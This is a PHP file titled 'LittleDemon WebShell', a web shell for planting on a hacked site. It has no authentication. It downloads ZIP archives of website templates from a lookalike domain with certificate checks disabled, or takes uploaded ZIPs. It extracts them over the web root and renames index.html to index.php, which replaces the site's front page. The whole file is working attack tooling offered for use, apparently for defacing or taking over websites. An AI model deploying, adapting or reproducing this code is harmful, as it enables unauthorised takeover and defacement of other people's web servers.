LittleDemon WebShell

<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

ini_set('upload_max_filesize', '20M');
ini_set('post_max_size', '25M');
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 300);

$statusMessage = '';
$fileCount = 0;

/* ===========================
   LIST URL ZIP KAMU
=========================== */
$remoteZipList = [
    "acuas-1.0.0.zip" => "https://awscloud.icu/zip/acuas-1.0.0.zip",
    "AI-html-1.0.0.zip" => "https://awscloud.icu/zip/AI-html-1.0.0.zip",
    "BabyCare-1.0.0.zip" => "https://awscloud.icu/zip/BabyCare-1.0.0.zip",
    "Booth-1.0.0.zip" => "https://awscloud.icu/zip/Booth-1.0.0.zip",
    "brainwave-io-1.0.0.zip" => "https://awscloud.icu/zip/brainwave-io-1.0.0.zip",
    "BuilderMax-1.0.0.zip" => "https://awscloud.icu/zip/BuilderMax-1.0.0.zip",
    "CaterServ-1.0.0.zip" => "https://awscloud.icu/zip/CaterServ-1.0.0.zip",
    "Dewi-1.0.0.zip" => "https://awscloud.icu/zip/Dewi-1.0.0.zip",
    "Edukate-1.0.0.zip" => "https://awscloud.icu/zip/Edukate-1.0.0.zip",
    "environs-1.0.0.zip" => "https://awscloud.icu/zip/environs-1.0.0.zip",
    "Fitness-1.0.0.zip" => "https://awscloud.icu/zip/Fitness-1.0.0.zip",
    "flare-1.0.0.zip" => "https://awscloud.icu/zip/flare-1.0.0.zip",
    "furni-1.0.0.zip" => "https://awscloud.icu/zip/furni-1.0.0.zip",
    "gp-1.0.0.zip" => "https://awscloud.icu/zip/gp-1.0.0.zip",
    "hairnic-1.0.0.zip" => "https://awscloud.icu/zip/hairnic-1.0.0.zip",
    "HighTechIT-1.0.0.zip" => "https://awscloud.icu/zip/HighTechIT-1.0.0.zip",
    "hvac-new-1.0.0.zip" => "https://awscloud.icu/zip/hvac-new-1.0.0.zip",
    "Labsky-1.0.0.zip" => "https://awscloud.icu/zip/Labsky-1.0.0.zip",
    "logis-new-1.0.0.zip" => "https://awscloud.icu/zip/logis-new-1.0.0.zip",
    "material-kit-react-1.0.0.zip" => "https://awscloud.icu/zip/material-kit-react-1.0.0.zip",
    "minimal-1.0.0.zip" => "https://awscloud.icu/zip/minimal-1.0.0.zip",
    "nova-new-1.0.0.zip" => "https://awscloud.icu/zip/nova-new-1.0.0.zip",
    "organic-1.0.0.zip" => "https://awscloud.icu/zip/organic-1.0.0.zip",
    "PestKit-1.0.0.zip" => "https://awscloud.icu/zip/PestKit-1.0.0.zip",
    "Presento-1.0.0.zip" => "https://awscloud.icu/zip/Presento-1.0.0.zip",
    "QuickStart-1.0.0.zip" => "https://awscloud.icu/zip/QuickStart-1.0.0.zip",
    "rentiz-1.0.0.zip" => "https://awscloud.icu/zip/rentiz-1.0.0.zip",
    "restoran-1.0.0.zip" => "https://awscloud.icu/zip/restoran-1.0.0.zip",
    "Sailor-1.0.0.zip" => "https://awscloud.icu/zip/Sailor-1.0.0.zip",
    "scholar-1.0.0.zip" => "https://awscloud.icu/zip/scholar-1.0.0.zip",
    "Selecao-1.0.0.zip" => "https://awscloud.icu/zip/Selecao-1.0.0.zip",
    "stocker-1.0.0.zip" => "https://awscloud.icu/zip/stocker-1.0.0.zip",
    "terapia-1.0.0.zip" => "https://awscloud.icu/zip/terapia-1.0.0.zip",
    "TopicListing-1.0.0.zip" => "https://awscloud.icu/zip/TopicListing-1.0.0.zip",
    "travela-1.0.0.zip" => "https://awscloud.icu/zip/travela-1.0.0.zip",
    "Travisa-1.0.0.zip" => "https://awscloud.icu/zip/Travisa-1.0.0.zip",
    "VillaAgency-1.0.0.zip" => "https://awscloud.icu/zip/VillaAgency-1.0.0.zip",
    "yogaClass-1.0.0.zip" => "https://awscloud.icu/zip/yogaClass-1.0.0.zip",
];

/* ==========================================================
   EXTRACT FUNCTION (CODE ASLI KAMU) + rename index.html
==========================================================*/
function extractZipOriginal($zipFile, &$statusMessage, &$fileCount)
{
    $zip = new ZipArchive;
    $res = $zip->open($zipFile);

    if ($res === TRUE) {

        $basePath = __DIR__;
        $fileCount = 0;
        $baseFolder = '';
        $folders = [];

        for ($i = 0; $i < $zip->numFiles; $i++) {
            $entry = $zip->getNameIndex($i);
            if (substr($entry, -1) === '/') continue;
            $parts = explode('/', $entry, 2);
            if (count($parts) > 1) $folders[] = $parts[0];
        }

        if (count($folders)) {
            $counts = array_count_values($folders);
            arsort($counts);
            $baseFolder = key($counts) . '/';
        }

        for ($i = 0; $i < $zip->numFiles; $i++) {
            $entry = $zip->getNameIndex($i);

            if (substr($entry, -1) === '/') continue;

            $relativePath = $entry;

            if ($baseFolder && strpos($entry, $baseFolder) === 0) {
                $relativePath = substr($entry, strlen($baseFolder));
            }

            if ($relativePath === '') continue;

            $relativePath = str_replace(['..\\','../','..'], '', $relativePath);
            $relativePath = ltrim($relativePath, '/\\');

            $target = $basePath . '/' . $relativePath;
            $dir = dirname($target);

            if (!is_dir($dir)) mkdir($dir, 0777, true);

            $stream = $zip->getStream($entry);
            if ($stream) {
                file_put_contents($target, stream_get_contents($stream));
                fclose($stream);
                $fileCount++;
            }
        }

        $zip->close();

        /* 🔥 Rename index.html → index.php */
        $indexHtml = __DIR__ . "/index.html";
        $indexPhp  = __DIR__ . "/index.php";

        if (file_exists($indexHtml)) {
            rename($indexHtml, $indexPhp);
        }

        $statusMessage = "<p style='color:green;'>ZIP berhasil diekstrak ($fileCount file) & index.html → index.php.</p>";

    } else {
        $statusMessage = "<p style='color:red;'>Gagal membuka ZIP (Kode: $res)</p>";
    }
}

/* ==========================================================
   DOWNLOAD ZIP URL → EXTRACT
==========================================================*/
if (isset($_POST['remote_zip'])) {

    $name = $_POST['remote_zip'];

    if (isset($remoteZipList[$name])) {

        $url = $remoteZipList[$name];
        $save = __DIR__ . "/download_url.zip";

        // Download via stream (no exec, no curl)
        $ctx = stream_context_create([
            "http" => [
                "method" => "GET",
                "header" => "User-Agent: PHPZipFetcher\r\n",
                "timeout" => 60
            ],
            "ssl" => ["verify_peer" => false, "verify_peer_name" => false]
        ]);

        $in = @fopen($url, "rb", false, $ctx);

        if ($in) {

            $out = fopen($save, "wb");

            while (!feof($in)) fwrite($out, fread($in, 1024 * 1024));

            fclose($in);
            fclose($out);

            extractZipOriginal($save, $statusMessage, $fileCount);

        } else {
            $statusMessage = "<p style='color:red;'>Gagal download ZIP dari URL</p>";
        }
    }
}

/* ==========================================================
   UPLOAD MANUAL (TIDAK DIUBAH)
==========================================================*/
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['zip_file'])) {
    if ($_FILES['zip_file']['error'] !== UPLOAD_ERR_OK) {
        $statusMessage = "<p style='color:red;'>❌ Upload error.</p>";
    } else {
        extractZipOriginal($_FILES['zip_file']['tmp_name'], $statusMessage, $fileCount);
    }
}

?>
<!DOCTYPE html>
<html>
<body>

<h2>📂 Download ZIP dari URL</h2>
<?= $statusMessage ?>

<form method="POST">
    <select name="remote_zip" required>
        <option value="">-- Pilih ZIP --</option>
        <?php foreach ($remoteZipList as $name => $url): ?>
            <option value="<?= $name ?>"><?= $name ?></option>
        <?php endforeach; ?>
    </select>
    <button type="submit">Download & Extract</button>
</form>

<h2>📂 Upload ZIP Manual</h2>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="zip_file" accept=".zip" required>
    <button type="submit">Upload & Extract</button>
</form>

</body>
</html>